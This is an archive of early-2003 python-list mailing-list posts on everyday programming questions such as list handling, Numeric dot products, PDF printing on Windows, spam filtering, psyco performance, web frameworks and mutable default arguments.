From from_deja at alandaniels.com  Thu Jan 23 15:37:49 2003
From: from_deja at alandaniels.com (Alan Daniels)
Date: 23 Jan 2003 12:37:49 -0800
Subject: max() of a list of tuples
References: <3e2d27c6$1_1@news.uni-bielefeld.de> <3E2D2E46.6060104@mxm.dk>
Message-ID: <a6f9355c.0301231237.6488f316@posting.google.com>

Max M <maxm at mxm.dk> wrote in message news:<3E2D2E46.6060104 at mxm.dk>...

> l = [(1,3,5), (8,16,2), (2,56,4)]
> print max([(i[-1],i) for i in l])[1]

Another possible solution, using a slightly different route:

  best = max([x[-1] for x in l])
  print [x for x in l if x[-1] == best][0]

Line one: Find the max value for the last item in each of the tuples.
Line two: Get the tuple that has that max value.

Slightly less efficient, since it uses two list comprehensions, and thus
traverses the lists twice, but easier to understand at first glance, imho.



From NadavH at VisionSense.com  Wed Jan 22 04:49:25 2003
From: NadavH at VisionSense.com (Nadav Horesh)
Date: Wed, 22 Jan 2003 11:49:25 +0200
Subject: Real inner-product in python
References: <3E2A4C06.7030202@visionsense.com> <200301220346.TAA06834@mail.arc.nasa.gov>
Message-ID: <3E2E6925.8010905@VisionSense.com>

Whats about:

 >>> c = N.reshape(N.arange(12), (3,2,2))
 >>> b = N.arange(3)
 >>> N.dot(b,c)
Traceback (most recent call last):
  File "<pyshell#18>", line 1, in ?
    N.dot(b,c)
  File "/usr/local/lib/python2.3/site-packages/Numeric/Numeric.py", line 
335, in dot
    return multiarray.matrixproduct(a, b)
ValueError: matrices are not aligned

**** but:
 >>> a = N.arange(2)
 >>> N.dot(a,c)
array([[2, 3],
       [4, 5],
       [6, 7]])
 >>> N.dot(c,a)
array([[ 1,  3],
       [ 5,  7],
       [ 9, 11]])

As I see inner product between two tensors --- A of rank $n$ and B of 
rank $m$ it should be like
(in TeX style):
$$
  C = A \cdot B
$$
requires:

1.  The last dimension of A must be equal to the first dimension of B, 
and ...
2.
$$
  C_{p_1, ... p_{m-1},q_2, ... q_n} = \sum_{i=1}^{q_1} A_{p_1, ... 
p_{m-1},i} B_{i, q_2, ... q_{n}}
$$

Thus, I don't see the *dot* function as a proper inner product.

  Nadav


Chad Netzer wrote:

>On Saturday 18 January 2003 22:56, Nadav Horesh wrote:
>  
>
>>Is there a package/routine that implements inner-product for arrays
>>with rank>2?
>>    
>>
>
>  
>
>>I read in an old thread (1995) a thought to implement an APL-like dot
>>(.) operator  in Numeric package (add.inner.subtract <=> +.-) does
>>anyone know about an implementation of  the idea?
>>    
>>
>
>Numeric does have dot(), and it may do exactly what you want.  Here's 
>an example with 1, 2, and 3 dimensional arrays:
>
>$ python
>Python 2.2.2 (#1, Jan  3 2003, 12:42:27) 
>  
>
>>>>import Numeric as Num
>>>>        
>>>>
>
>  
>
>>>>a = Num.array( [1,2,3] )
>>>>b = Num.array( [a, a+3,a+6])
>>>>c = Num.array( [b, b+10, b+20] )
>>>>        
>>>>
>
>  
>
>>>>Num.rank(a)    
>>>>        
>>>>
>1
>  
>
>>>>Num.rank(b)
>>>>        
>>>>
>2
>  
>
>>>>Num.rank(c)
>>>>        
>>>>
>3
>
>  
>
>>>>Num.dot(a,a)
>>>>        
>>>>
>14
>
>  
>
>>>>Num.dot(b,a)
>>>>        
>>>>
>array([14, 32, 50])
>
>  
>
>>>>Num.dot(a,b)
>>>>        
>>>>
>array([30, 36, 42])
>
>  
>
>>>>Num.dot(b,b)
>>>>        
>>>>
>array([[ 30,  36,  42],
>       [ 66,  81,  96],
>       [102, 126, 150]])
>
>  
>
>>>>Num.dot(c,a)
>>>>        
>>>>
>array([[ 14,  32,  50],
>       [ 74,  92, 110],
>       [134, 152, 170]])
>
>  
>
>>>>Num.dot(a,c)
>>>>        
>>>>
>array([[30, 36, 42],
>       [51, 57, 63],
>       [71, 77, 83]])
>
>  
>
>>>>Num.dot(c,b)
>>>>        
>>>>
>array([[[ 30,  36,  42],
>        [ 66,  81,  96],
>        [102, 126, 150]],
>       [[150, 186, 222],
>        [186, 231, 276],
>        [222, 276, 330]],
>       [[270, 336, 402],
>        [306, 381, 456],
>        [342, 426, 510]]])
>
>  
>
>>>>Num.dot(b,c)
>>>>        
>>>>
>array([[[ 30,  36,  42],
>        [ 51,  57,  63],
>        [ 71,  77,  83]],
>       [[ 66,  81,  96],
>        [117, 132, 147],
>        [167, 182, 197]],
>       [[102, 126, 150],
>        [183, 207, 231],
>        [263, 287, 311]]])
>
>etc...
>
>
>Is that all you need?
>
>  
>
>>  Nadav.
>>    
>>
>
>  
>






From dgallion1 at yahoo.com  Thu Jan  2 22:30:36 2003
From: dgallion1 at yahoo.com (darrell)
Date: Fri, 03 Jan 2003 03:30:36 GMT
Subject: Printing
References: <Pine.LNX.4.33L2.0301021351090.3730-100000@cyryl.slcj.uw.edu.pl> <av1dab$v3fk5$1@hades.rz.uni-sb.de>
Message-ID: <wt7R9.63450$eq2.15780624@twister.nyroc.rr.com>

import os, re, thread, time, sys

assoc=os.popen("assoc .pdf").read()
#'.pdf=AcroExch.Document\012'
assocA=re.findall("=(.*)\012",assoc)[0]
ftype=os.popen("ftype %s"%assocA).read()
#'AcroExch.Document="e:\\sw\\Adobe\\Acrobat 4.0\\Acrobat\\Acrobat.exe" 
"%1"\012'
ftypeA=re.findall('=(".*?")', ftype)[0]

def pdfPrint(fn):
    cmd= ftypeA.replace("/","\\")+" /p /h " + fn.replace("/","\\")
    print 'CMD:', cmd
    os.system(cmd)

def pdfStart(fn):
    cmd= ftypeA.replace("/","\\")+" " + fn.replace("/","\\")
    print "CMD:", cmd
    thread.start_new_thread (os.system, (cmd,))


A windows hack
--Darrell



From tim.one at comcast.net  Mon Jan 13 20:42:16 2003
From: tim.one at comcast.net (Tim Peters)
Date: Mon, 13 Jan 2003 20:42:16 -0500
Subject: OT: spam filtering idea
In-Reply-To: <pan.2003.01.13.19.39.09.730141@compy.attbi.com>
Message-ID: <LNBBLJKPBEHFEDALKOLCEEGPDIAB.tim.one@comcast.net>

[jerf at compy.attbi.com]
> I couldn't think of a reasonable way to predict the results of that,
> because as I think I mentioned in another posting, there are two big
> unknowns: The nature of the people responding to the spams (have you
> every really thought about it? who the hell is keeping these things
> afloat? In all seriousness, my current theory is that we're talking
> people of reduced> intelligence, but I don't *know*.), and how close the
> spam industry may be to economic collapse, such that Bayes-type filters
> (which *are* legitimately better then previous approaches) may be enough
< to tip them over the edge. Without more data about those two things it's
> hard to predict what will happen if spam tones down.

Well, I've noted before (but on the spambayes mailing list) that I expect
widespread adoption of this kind of classifier may actually increase spam,
while *not* toning it down at all.  The thing is that the system has no
predefined notions of "ham" or "spam":  it believes whatever you train it to
believe.  For example, I get a particular class of "Joke of the Day" spam,
which I sometimes enjoy.  My personal classifier is trained to consider that
ham, and despite that the rest of such a msg hawks everything from human
growth hormone to cheap ink jet cartridges (and it came as a surprise just
how fine are the distinctions the classifier can make).  OTOH, there are
some kinds of email I get from companies I do business that I'd rather not
be bothered with, and the system calls those spam now.

Now supposing I really want porn spam, and the raunchier the better, it's
easy to train a classifier to call such stuff ham.  If this filter
technology reaches enough people that the fraction of a fraction of a
percent of those who really want porn spam get hold of it, they won't miss
porn spam anymore in the blizzard of spams they don't want to see, and
response rates for porn spammers may well go *up*.  But it will be in the
interest of the porn spammers then not to try to disguise the nature of
their msg; to the contrary, it will be in their interest to have it SCREAM
"porn spam".

Substitute get-rich-quick, or penis enlargement, or what have you.

> Somwhat back on the Python topic, once SpamBayes is done I intend to see
> if I can implement what I talked about.

It's long been done enough for geeks to use effectively.  The killers are
integrating with a gazillion quirky mail clients, and making a system so
easy to use that you don't have to learn anything to use it.

> It's just not worth picking up an implementation in another language
> when it'd probably be a small handful of hours' work in Python...

The classifier proper is very simple and brief Python code.  The tokenizer
is hairier, but still not a major piece of work.  The hairiest code by far
is Mark Hammond's wondrous integration code for Outlook 2000.





From phr-n2002b at NOSPAMnightsong.com  Wed Jan  8 13:11:03 2003
From: phr-n2002b at NOSPAMnightsong.com (Paul Rubin)
Date: 08 Jan 2003 10:11:03 -0800
Subject: Comments on base52 encoder/decoder ?
References: <avcvbj$imq$0@216.39.172.122> <7x4r8jbui3.fsf@ruckus.brouhaha.com> <avhn7c$age$0@216.39.172.122>
Message-ID: <7xhecjsea0.fsf@ruckus.brouhaha.com>

bokr at oz.net (Bengt Richter) writes:
> BTW, how about the option to insert \n after every line_len characters?
> And if so, should there be a final \n guaranteed there or not there?
> Or should that be left to the outside too?

I'd say leave that on the outside too.

I've sometimes thought there should be a function for splitting a long
string into a bunch of shorter ones of specified length, but I don't
know if that would give a worthwhile speedup vs. the obvious list
comprehension.



From nadavh at visionsense.com  Sun Jan  5 08:00:52 2003
From: nadavh at visionsense.com (Nadav Horesh)
Date: Sun, 05 Jan 2003 15:00:52 +0200
Subject: Can emacs support auto complete of python?
Message-ID: <3E182C84.4050901@visionsense.com>

As in IDLE -- try ALT-/

 Nadav.





From alienoid at is.lg.ua  Tue Jan 21 10:01:33 2003
From: alienoid at is.lg.ua (Ruslan Spivak)
Date: Tue, 21 Jan 2003 17:01:33 +0200
Subject: numbers with decimal points - question
Message-ID: <3E2D60CD.9020605@is.lg.ua>

Hello, python-list users!

i've just tried the following

price = {'Mon' : {},
	'Tue' : {}
	}

price['Mon'][0] = 2.7

when i print dict i see:

{'Mon': {0: 2.7000000000000002}, 'Tue': {}}

whats that? why no just 2.7?
Any help and suggestions are very appreciated.

Thanks in advance

	





From mwm at mired.org  Thu Jan 16 12:28:17 2003
From: mwm at mired.org (Mike Meyer)
Date: Thu, 16 Jan 2003 17:28:17 GMT
Subject: FW: Switch statements again
References: <E4AA6173DD435B45956B8E5F685B49452702F3@hyperspace.synchrologic.com> <1042672900.3e25ed04a5f1a@www.progoth.com> <mailman.1042687953.21581.python-list@python.org> <aXqV9.1044$IZ5.489@nwrddc04.gnilink.net>
Message-ID: <x7iswp57ia.fsf@guru.mired.org>

Carl Banks <imbosol at vt.edu> writes:

> Personally, the elifs don't bother me in the least.  In Python, the
> switches are likely to make indentation a pain; it's not clear whether
> case tags should be indented or not.  If they are, you have two
> indentation levels for the code inside.  If they aren't, you've broken
> a fundamental property of indentation.

Why does not indenting the case tags break a fundamental property of
indentation? Why is something like (using syntax suggested in PEP
275):

when my_value:
    # Can we do something useful with this?
in (...):
    code
in (...):
    more code
else:
    yet more code

Any worse than:

if my_value in (...): code
elif my_value in (...):
    more code
else:
    more code


I don't see a real problem with the first case.

And yes, I like the when ... in syntax suggestion.

        <mike
-- 
Mike Meyer <mwm at mired.org>			http://www.mired.org/home/mwm/
Independent WWW/Perforce/FreeBSD/Unix consultant, email for more information.



From edream at tds.net  Tue Jan 14 06:34:06 2003
From: edream at tds.net (Edward K. Ream)
Date: Tue, 14 Jan 2003 11:34:06 GMT
Subject: [ann] Minimal Python project
References: <mailman.1042209749.31180.python-list@python.org> <FOIT9.121090$Hs2.11398609@kent.svc.tds.net> <m2adi7ull8.fsf@mycroft.actrix.gen.nz>
Message-ID: <OASU9.131402$Hs2.11990469@kent.svc.tds.net>

> What makes you think C is particularly suited to producing fast code?
Are you running a PDP-11?

These questions may be flippant, and the answers are relevant to the
question of how fast Python code optimized by psyco may become.  Before
going further I should say that I have designed, built and tested a
commercial optimizing C compiler.  It produced very good code and did so
faster than the Borland C compiler.

1. The main reason for thinking C is particularly suited to producing fast
code is that in C the types of all objects are known at compile time.  This
means that the compiler may generate code tailored to the particular type of
operands.  Indeed, it is instructive to compare what any descent C compiler
can do easily with what psyco can do.  Let us look at the code discussed on
the psyco web site at: http://psyco.sourceforge.net/psyco/node3.html.

The essence of what psyco is doing in this example is (cleverly!)
discovering the types of Python objects and generating code to handle _those
particular type of objects_.  A C compiler has no need of cleverness: the C
programmer declares the types of those objects.  Thus a C compiler starts
out with the information that psyco must discover at run time.

Moreover, an examination of the code emitted by psyco shows that many common
optimizations available to a C compiler are not available to psycho.  These
optimizations are not available because there isn't enough time: the time
psycho would spend discovering those optimizations (and rewriting the newly
optimized code!) would slow down the running time of the program too much.
C compilers can take a leisurely time discovering and implementing
optimizations because the running time of the compilation does not affect
the running time of the resulting program.  This is emphatically not true
with psyco or any JIT.

2. Your second question implies that the quality of code emitted by a C
compiler (or any other compiler) somehow depends strongly on the match
between the language and the architecture of the machine on which the
compiled code will run.  This is simply not true; the range of optimizations
available even to medium-quality C compilers are good enough to produce good
to excellent code any CISC or RISC machine.  Moreover, there is an interplay
between machine design and the C language itself.  Hardware designers are
well aware that lot's of C code will run on their machines.  In particular,
almost all Python code eventually gets executed as C code because the
interpreter is C code and almost all of the libraries are either coded in
directly in C or in Python which then gets interpreted by the interpreter.

Conclusions

psyco _can_ improve the speed of Python's C interpreter applied to Python
code.  Psyco does this by emitting assembly language code "specialized" to
handle the actual type of the Python objects presented to it.  You may think
of this speedup as arising from better algorithms which take advantage of
more knowledge.  You may also think of this speedup as arising from giving
the interpreter a "memory".

However, examination of the assembly code emitted by psyco shows that it
will be slower than the equivalent C code (that is, hand-written C code
corresponding the Python code).  Moreover, psyco's compilation process
happens at runtime (in a clever multi-step process) and all this compilation
is pure overhead compared with running the code through a C compiler.

Making  psyco available generally to Python programmers promises a _huge_
win for all Python programmers.  It certainly is possible to improve the
performance of Python's present C interpreter using psycho's techniques.
However, it will almost certainly never be possible to speed up _other_ C
code by translating that code into Python.  I would expect that running
psyco on Python code will at best run half as fast as the equivalent
hand-written C code.  The reasons are clear:  psyco has neither the time nor
the information to do as well as the best hand-written C code compiled by a
descent compiler.  But it is precisely this kind of C code that we expect to
C in the Python libraries!  Translating library C code to Python has no
chance of improving the Python's speed unless we also significantly improves
the algorithms used.

Edward

P.S.  Just for the record let me try to be as clear as possible.  Even the
most useful, interesting and clever engineering techniques have areas in
which they apply and areas in which they do not apply.  I have simply been
pointing out that psyco can not improve _all_ C code.  This is actually a
weak and not-very-interesting statement.  (And it was not, I think, the
meaning intended in the original announcement.)  Again: psyco promises to be
of great benefit to all Python programmers.

EKR
--------------------------------------------------------------------
Edward K. Ream   email:  edream at tds.net
Leo: Literate Editor with Outlines
Leo: http://personalpages.tds.net/~edream/front.html
--------------------------------------------------------------------





From amk at amk.ca  Tue Jan 21 11:37:49 2003
From: amk at amk.ca (A.M. Kuchling)
Date: Tue, 21 Jan 2003 11:37:49 -0500
Subject: Python web development, really
In-Reply-To: <45qp2v0488fss981maanr3f2nr6a9as48m@4ax.com>
References: <j9bo2v0lo0qfngcfpqc3ooj0bo881lhuuh@4ax.com> <mailman.1043128786.32145.python-list@python.org> <45qp2v0488fss981maanr3f2nr6a9as48m@4ax.com>
Message-ID: <b0jsu2$d76$1@main.gmane.org>

Afanasiy wrote:
> In my commandline scripting tests, Python always beats PHP...
> What would stop a new Apache+Python integration project from being faster?

Perhaps Richard knows the Zend optimizer for PHP is faster, or assumed 
it would be.  If you've measured Python at being faster, though,
that would settle the performance question for you.

>>>* Big plus, but optional, auto prepend/append files
>>>  (eg. Apache+PHP has .htaccess directives like this )
>>>  (    php_value auto_prepend_file "_header.php"     )
>>>  (    php_value auto_append_file "_footer.php"      )
>>>  (granular down to the directory
> Not from what I have seen. I even imagine implicit vs. explicit would
> cause many Python programmers to love writing cascading header/footer
> includes and custom error handling on every new page, even if via paste.

Indeed, I'd imagine support for this to be rare.  Doing it explicitly 
isn't a huge amount of work, though, and I'd hope it can be reduced
to a line or two.  For example, once you've written header() and
footer() functions, pages look like this using Quixote's PTL:

from <wherever> import standard

def simple [html] ():
     standard.header('Login')

     '<h1>Welcome!</h1>'
     ... blah blah ...

     standard.footer()

There are lots of different ways to tweak the HEAD element, though,
and to present additional things, so header() can get quite complicated:

def fancy [html] ():
     standard.header(title='Application Login',
                     author='webmaster at amk.ca',
                     description="Login page for a nifty application",
                     keywords="login, log-in, application, app,webapp..."
                     # titles for breadcrumb links
                     crumbs = ['Home', 'Application'],
                     )

It would be hard to make things this flexible with an automatic headera
and footer system, and in the common case (just supplying a title)
the overhead is low, so I find this an acceptable trade-off.

A toolkit certainly shouldn't require cut-and-paste programming, though,
but should support factoring out the common code into 
sub-functions/methods/pages/<metaphor>s.

> Which platform do you recommend I test for all of these requirements?
> Many tested so far fail relatively easily. I am looking for concrete
> suggestions from people experienced in this sort of web development.

I think the problem with offering a recommendation is that you haven't 
said in what respect they fail.  Too low-level?  Too many assumptions
that don't fit your situation?

There are so many different design approaches and requirements for web 
applications that it's unlikely one toolkit could ever work for every 
one, explaining why there are so many different ones out there.

--amk






From mertz at gnosis.cx  Wed Jan 29 03:10:56 2003
From: mertz at gnosis.cx (David Mertz, Ph.D.)
Date: Wed, 29 Jan 2003 03:10:56 -0500
Subject: New Python block cipher API, comments wanted
References: <7x3cneku24.fsf_-_@ruckus.brouhaha.com>
 <yyybs21m67q.fsf@adams.patriot.net> <7x65s9dnea.fsf@ruckus.brouhaha.com>
 <mailman.1043791529.1041.python-list@python.org>
 <7xr8awg6lt.fsf@ruckus.brouhaha.com> <3E37240E.DB91BC7F@alcyone.com>
 <7x1y2wzpr0.fsf@ruckus.brouhaha.com> <3E376CB6.D4A32AF2@alcyone.com>
 <7xbs208p11.fsf@ruckus.brouhaha.com> <3E377509.6376A031@alcyone.com>
 <7xsmvcl9gs.fsf@ruckus.brouhaha.com> <3E378028.3FA9B988@alcyone.com>
 <7xn0lkz8nw.fsf@ruckus.brouhaha.com>
Message-ID: <Qy4N+kKkXsZD092yn@gnosis.cx>                

Paul Rubin <phr-n2003b at NOSPAMnightsong.com> wrote previously:
|In the new scheme, there's less
|need for something like PEP 272, because the Python interface to the
|codebook is so much simpler than PEP 272 that it's obvious how to do
                                               ^^^^^^^^^^^^^^^^^^^^^^
Nothing is ever obvious.

The users of a new module/API would *not* be only the sophisticated
folks on the Python crypto list (which I have not looked at, I confess,
although I do know enough crypto to understand the issues).

"Ordinary" Python programmer are more likely to see a proposed API via a
PEP than they are on a specialized mailing list.  And those average
programmers are the ones who may or may not find the API intuitive and
"obvious."  I'm not saying it wouldn't be...  I just do not believe
something is obvious by fiat.

|The author of PEP 272 has told me he's ok with the new interface.

Then have him/her modify the PEP to state as much.

Yours, David...

--
---[ to our friends at TLAs (spread the word) ]--------------------------
Echelon North Korea Nazi cracking spy smuggle Columbia fissionable Stego
White Water strategic Clinton Delta Force militia TEMPEST Libya Mossad
---[ Postmodern Enterprises <mertz at gnosis.cx> ]--------------------------





From read-the-signature at send-spam-to-dev-null.com  Fri Jan 10 10:42:09 2003
From: read-the-signature at send-spam-to-dev-null.com (read-the-signature at send-spam-to-dev-null.com)
Date: Fri, 10 Jan 2003 15:42:09 +0000 (UTC)
Subject: backreference
Message-ID: <avmpkh$hra$1@wnnews.sci.kun.nl>

Hi all,

I'm struggling a little with backreferences in the re-module. I read the
docs and browsed the web but didn't find a solution for my problem yet. The
idea is simple: given a line with punctuation, separate the punction from
the word it is 'attached' to. For example:

    "Hello, how are you today?"

would become

    "Hello , how are you today ?"

I've been strugglin' with it for about half an hour. Guess it's time to ask
for help :) Any suggestions?

    Yours

        Bas

-- 
b a s {dot} v a n g i l s {at} c s {dot} k u n {dot} n l
BOFH excuse #139:
UBNC (user brain not connected)



From hwlgw at hotmail.com  Fri Jan 17 10:57:51 2003
From: hwlgw at hotmail.com (Will Stuyvesant)
Date: 17 Jan 2003 07:57:51 -0800
Subject: Socket communications
References: <b06df6$ls2ug$1@ID-145579.news.dfncis.de> <uded2vogmj50s1bgpl54qc9c6nifrostpg@4ax.com> <b06eo8$m0u70$1@ID-145579.news.dfncis.de> <mailman.1042737271.17390.python-list@python.org>
Message-ID: <cb035744.0301170757.751af42d@posting.google.com>

[Jp Calderone]
> Twisted makes implementing this kind of protocol trivial.
> 
> (Untested code)
> ...

Posting untested code is a demonstration of how much confidence you
have in the modules you use.  But your example could use some
explanations....like what does ``reactor`` do, and how about
``protocol``.
Another thing is that on first sight your code is going to crash on an
"unknown identifier ``port``" error but that one should be just an
integer for the port number I guess.


'''
A large number of installed systems work by fiat.  That is, they work
by being declared to work.
                -- Anatol Holt
'''



From mcfletch at rogers.com  Wed Jan 22 22:26:18 2003
From: mcfletch at rogers.com (Mike C. Fletcher)
Date: Wed, 22 Jan 2003 22:26:18 -0500
Subject: stripping characters with regex
In-Reply-To: <71650A6F73F1D411BE8000805F65E3CB3B3006@SRV-03>
References: <71650A6F73F1D411BE8000805F65E3CB3B3006@SRV-03>
Message-ID: <3E2F60DA.5050206@rogers.com>

 >>> import string
 >>> t = string.maketrans( "", "" )
 >>> mystring = """ this\\ thing / 'is' "bigger" than \\ the / two 'of' 
"us"."""
 >>> string.translate( mystring, t, "\\/'\"" )
' this thing  is bigger than  the  two of us.'
 >>>

HTH,
Mike

Jeff Sacksteder wrote:

>I need urgent assistance. I'm cleaning up text strings containing ' ,",\ and
>/ characters which are giving an enormous headache.
>
>I have a little function like this that doesn't do what I had in mind.
>
>def clean_text(y):
>	# match any number of occurrances of these four characters
>	clean = re.compile('(\\|\'|\"|\/)')
>	# replace them when found with nothing - effectively deleting them
>	return clean.sub( '',y)
>
>Suggestions welcome, example code cheerfully accepted!
>
>  
>

-- 
_______________________________________
  Mike C. Fletcher
  Designer, VR Plumber, Coder
  http://members.rogers.com/mcfletch/







From vze33v6m at verizon.net  Sat Jan 18 16:21:15 2003
From: vze33v6m at verizon.net (pavs)
Date: Sat, 18 Jan 2003 21:21:15 GMT
Subject: Newbe: password program
References: <eDcW9.7243$V75.2394@nwrddc02.gnilink.net> <mailman.1042920994.3545.python-list@python.org>
Message-ID: <fzjW9.2982$e34.1482@nwrddc04.gnilink.net>

Thanks Andy!
While I haven't gone to the advanced chapters yet, I will save your suggestiosn so that I can use it later.
I am gradually finishing an online python book, where I was asked to write this program as an example.

With the minimum knowledge I had, I chalked it out. :)

Anyways, I am planing to master Python in 4-5 months and than write a chess program (hopefully), while I enjoy the experience at the same time.

After reading some online book, I will buy a serious Python book.

By the way, is it possible to use Assembly in Python and connect Python program with a DOS program so that I can use it as a DOS (win32) executable?

Thanks again for your help!

Cheers,
pavs
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-list/attachments/20030118/9c8715be/attachment.html>

From jbrauner at wanadoo.fr  Wed Jan 29 15:54:56 2003
From: jbrauner at wanadoo.fr (brauner joel)
Date: Wed, 29 Jan 2003 21:54:56 +0100
Subject: is it a bug ??
Message-ID: <3E383FA0.3000000@wanadoo.fr>

as expected, the following function :

def g(a=[]):
	print a
	if len(a)<5:
		a = a + [1]
		g(a)
	print a

returns:

 >>> g()
[]
[1]
[1, 1]
[1, 1, 1]
[1, 1, 1, 1]
[1, 1, 1, 1, 1]
[1, 1, 1, 1, 1]
[1, 1, 1, 1, 1]
[1, 1, 1, 1]
[1, 1, 1]
[1, 1]
[1]

but the same function with the use of the "append" methods :

def f(a=[]):
	print a
	if len(a)<5:
		a.append(1)
		f(a)
	print a

returns :

[]
[1]
[1, 1]
[1, 1, 1]
[1, 1, 1, 1]
[1, 1, 1, 1, 1]
[1, 1, 1, 1, 1]
[1, 1, 1, 1, 1]
[1, 1, 1, 1, 1]
[1, 1, 1, 1, 1]
[1, 1, 1, 1, 1]
[1, 1, 1, 1, 1]


In other words, the recursive function f seems to make the a list global 
for all the occurences of the function

is that normal ?


PS : excuse my english-speaking




From mgarcia at cole-switches.com  Tue Jan  7 21:11:43 2003
From: mgarcia at cole-switches.com (Manuel M. Garcia)
Date: Wed, 08 Jan 2003 02:11:43 GMT
Subject: File Read/Write test program
References: <mailman.1041984409.6241.python-list@python.org>
Message-ID: <ho1n1v49n9s45lemq0uks23kp0v33tapc9@4ax.com>

meg = "*" * (1048576 * 20)

gives you a string of length 1048576 * 20 in one step

Manuel

On Tue, 7 Jan 2003 20:11:33 +0000, andy <andy at eastonwest.co.uk> wrote:
(edit)
>def generate_chunk(megabytes):
>    """ returns a string containing megabytes*1048576 asterisks """
>    meg="*"
>    for n in range(20):
>        meg=meg+meg
>    chunk=""
>    for n in range(megabytes):
>        chunk=chunk+meg
>    return chunk




From newsapp at easljobs.com  Tue Jan  7 12:05:16 2003
From: newsapp at easljobs.com (EASLjobs recruiting)
Date: Tue, 07 Jan 2003 17:05:16 GMT
Subject: migrating from Access
In-Reply-To: <slrnb1k32o.1f6.davecook@localhost.localdomain>
References: <Mf6S9.108144$k13.4219684@news0.telusplanet.net> <slrnb1k32o.1f6.davecook@localhost.localdomain>
Message-ID: <gNDS9.105914$xp4.4554265@news1.telusplanet.net>

Thanks for the links and suggestions,  they look like they will be very 
helpful

Lester Herran-Venables

David M. Cook wrote:
> In article <Mf6S9.108144$k13.4219684 at news0.telusplanet.net>, Lester wrote:
> 
> 
>>Now I would like to port it over to something free and cross platform. 
>>I would like to recreate the app and GPL it.  Python + MySQL looks good 
>>because I can read and understand the code examples in the book -- Perl 
>>gives me a headache.  BoaConstructor looks good.  Any thoughts on this 
>>would be appreciated.
> 
> 
> Also, see
> 
> http://mdbtools.sourceforge.net/
> 
> for tools for exporting access data.
> 
> Dave Cook




From missedby2inches at gmx.net  Mon Jan 27 18:36:42 2003
From: missedby2inches at gmx.net (Two Inches)
Date: Tue, 28 Jan 2003 00:36:42 +0100
Subject: Please Recommend a C compiler for use with Python.
In-Reply-To: <mailman.1043694414.15310.python-list@python.org>
References: <mailman.1043694414.15310.python-list@python.org>
Message-ID: <b14fob$a6l$1@mamenchi.zrz.TU-Berlin.DE>

Tim Peters wrote:
> [Irmen de Jong]
> 
>>Just for my information, does Python compile with VC++ 7
>>(the C++ compiler from VStudio .NET) ?
> 
> 
> More than one person reported success, but I believe with the Python 2.3
> sources (not yet released).  However, there "are problems" if a Python
> compiled with VC7 tries to use an extension module compiled with VC6.
> Apparently the VC6 and VC7 C runtime libraries were cleverly designed to die
> in horrible ways if they ever bump into each other.

I've been extending and embedding Python with VC7 without any problems 
(so far :-) even for ActiveState Python 2.2.2 (which seems to be VC6 
compiled).




From samSPAMMENOT at twmi.rr.com  Sat Jan 25 21:31:00 2003
From: samSPAMMENOT at twmi.rr.com (Sam Marrocco)
Date: Sun, 26 Jan 2003 02:31:00 GMT
Subject: Python newbie looking into communications...
Message-ID: <ELHY9.123260$GF.30808722@twister.columbus.rr.com>

I'm looking into writing a small application that can run on multiple 
platforms (linux, windows, irix) that needs simple communications with a 
Visual Basic.Net application. I'm writing both apps, and the main app 
*must* be vb.net.

I'd like the little Python apps that run on several machines to be able 
to communicate back and forth with the main vb.net app using (possibly) 
udp communications. I don't want the extra headaches involved in 
maintaining open connections (TCP)...something along the lines of:

SendData(MachineName,Data)

Since I'm a newbie to Python, any tips/directions I should look into? 
I'm still exploring language possibilities, and Python's interests me 
the most so far....portability is important.

Any help greatly appreciated!
-- 
==================================================================
Sam J. Marrocco
Sr. Visual Effects Artist/R&D
Travelling Pictures/GTN
Inferno, Flame, Houdini, Maya, All that cool stuff!
"The fact that no one understands you doesn't make you an artist."
==================================================================




From op73418 at mail.telepac.pt  Fri Jan 24 11:48:21 2003
From: op73418 at mail.telepac.pt (Gonçalo Rodrigues)
Date: Fri, 24 Jan 2003 16:48:21 +0000
Subject: Sharing method code between class instances
References: <tPydnYzWiJs2-qyjXTWcpg@comcast.com>
Message-ID: <5fr23vgbr8nac85ake0jthlg59d3927sbs@4ax.com>

On Fri, 24 Jan 2003 10:19:53 -0600, "Larry Bates" <lbates at swamisoft.com>
wrote:

>I have a question about how to share code between classes.  I've searched
>and just can't find anything that is clear enough for me to understand.
>
>
>Problem: My program will create hundreds of instances of this field class
>and
>I'm worried about the code for each instance of the class being repeated
>over
>and over filling memory.  In this simple case it wouldn't be a problem, but
>the
>draw method will get rather large as I introduce MANY formatting parameters
>like fill characters, float characters, picture formats, etc. the draw
>method will
>become quite large/complex.
>

I think you are confused here. The code for the methods is kept in the
class object *not* in the instances. It is *shared* by all instances of
the class.

Hope this answers your question,
G. Rodrigues



From steve at ferg.org  Sat Jan  4 22:01:29 2003
From: steve at ferg.org (Stephen Ferg)
Date: 4 Jan 2003 19:01:29 -0800
Subject: Is there documentation for the IDLE debugger?
Message-ID: <b16e4ef7.0301041901.25c77fe8@posting.google.com>

I've been looking for documentation on how to use the IDLE debugger. 
Couldn't find any.  Does any such documentation exist?



From robin at jessikat.fsnet.co.uk  Sat Jan  4 05:02:41 2003
From: robin at jessikat.fsnet.co.uk (Robin Becker)
Date: Sat, 4 Jan 2003 10:02:41 +0000
Subject: Leakage vs Cyclops
References: <KfdTAjAXSbF+EwYH@jessikat.demon.co.uk>
 <m3vg16nf4s.fsf@mira.informatik.hu-berlin.de>
 <7GMPWjARjiF+EwvH@jessikat.fsnet.co.uk>
 <m3ptrd3ftw.fsf@mira.informatik.hu-berlin.de>
Message-ID: <XPIUUKABFrF+Ew6C@jessikat.fsnet.co.uk>

In article <m3ptrd3ftw.fsf at mira.informatik.hu-berlin.de>, Martin v.
L?wis <martin at v.loewis.de> writes
>Robin Becker <robin at jessikat.fsnet.co.uk> writes:
>
>> this leak is present with 1.52 so it's not a function of 2.2/gc. Are you
>> saying there are cycles/leaks that are not caught by inspecting toplevel
>> module variables?
>
>"There are" is a big general here. It is certainly possible to have
>such leaks; a simple error in INCREF/DECREF could easily trigger such
>problems. Of course, the Python core never should have such leaks, and
>likely has none that have survived since 1.5.2.
>
>However, there are other causes of memory consumption, too, for
>example lists that grow longer and longer without ever being part of a
>cycle.
>
>The most notable such thing is the dictionary of interned strings,
>which isn't even reachable through a module level variable. This is by
>design; this design will change only in Python 2.3 (where interned
>strings become mortal).
>
>If you meant "toplevel module" literally, then there are certainly way
>more things unreachable: unless sys is imported, you won't find
>sys.modules from the toplevel module. 
>
>Even if you add sys.modules to your object roots, there are still
>unreachable non-garbage objects: C modules may hold them in global
>variables, and not expose them. There are many such cases in Python
